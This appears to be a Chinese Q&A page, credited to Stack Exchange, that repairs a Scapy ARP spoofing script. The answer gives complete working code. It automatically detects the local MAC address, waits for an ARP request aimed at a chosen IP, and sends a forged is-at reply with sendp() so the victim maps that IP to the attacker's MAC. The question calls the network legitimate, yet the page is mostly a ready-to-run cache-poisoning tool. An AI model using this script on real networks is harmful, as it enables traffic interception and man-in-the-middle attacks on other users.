You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

Scapy发送伪造ARP包默认广播问题及本机MAC自动检测求助

问题与解决方案

问题描述

  • 在合法网络中使用Scapy发送伪造ARP is-at数据包进行流量导向时,出现警告:WARNING: Mac address to reach destination not found. Using broadcast.
  • 需要自动检测运行程序的本机MAC地址,避免手动填写。

解决方案

1. 自动获取本机MAC地址

Scapy提供了直接获取网卡MAC的方法,使用get_if_hwaddr()函数结合默认网卡conf.iface即可自动获取:

from scapy.all import conf, get_if_hwaddr

# 获取默认网卡的本机MAC
local_mac = get_if_hwaddr(conf.iface)

如果需要指定特定网卡(如eth0或wlan0),直接传入网卡名称即可:

local_mac = get_if_hwaddr("eth0")

2. 解决ARP广播警告

原代码中使用sr()函数发送数据包,该函数用于三层数据包的发送与响应接收,会自动尝试通过ARP查询目标MAC,导致冲突警告。我们已经手动构造了完整的二层Ethernet帧,应该使用sendp()函数发送二层数据包,它会直接使用我们指定的目标MAC,不会触发额外的ARP查询。

修改后的完整代码

from scapy.all import *

# 自动获取本机默认网卡的MAC地址
local_mac = get_if_hwaddr(conf.iface)

arpkt = Ether()/ARP()

# 输入目标IP
dst = input("选择要欺骗的IP地址: ")

# Ethernet层设置
arpkt[Ether].src = local_mac
arpkt[Ether].type = 2054  # ARP协议类型

# ARP层设置
arpkt[ARP].hwtype = 1
arpkt[ARP].ptype = 2048  # IPv4协议类型
arpkt[ARP].hwlen = 6
arpkt[ARP].plen = 4
arpkt[ARP].op = 2  # is-at操作码
arpkt[ARP].hwsrc = local_mac
arpkt[ARP].psrc = dst  # 伪装成目标IP

# 开始嗅探ARP数据包
pkts = sniff(count=1, filter="arp")

# 过滤出目标IP的ARP请求包
while pkts[0].pdst != dst or pkts[0].op != 1:
    pkts = sniff(count=1, filter="arp")
    print(f"来自 {pkts[0].psrc} 的ARP包")

# 构造响应包的目标信息
if pkts[0].pdst == dst:
    arpkt[Ether].dst = pkts[0].src
    arpkt[ARP].pdst = pkts[0].psrc
    arpkt[ARP].hwdst = pkts[0].hwsrc

    # 调试信息
    pkts[0].show()
    arpkt.show()

    # 使用sendp发送二层数据包,替代sr()
    sendp(arpkt, verbose=1)

    arpkt.show()

关键修改说明

  • 新增自动获取本机MAC的代码,替换原手动填写的空字符串
  • 将sr(arpkt)改为sendp(arpkt),避免触发额外ARP查询,消除警告
  • 调整循环条件逻辑,确保只处理目标IP的ARP请求包

内容的提问来源于stack exchange,提问作者FireFlower

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.07.14 21:39:51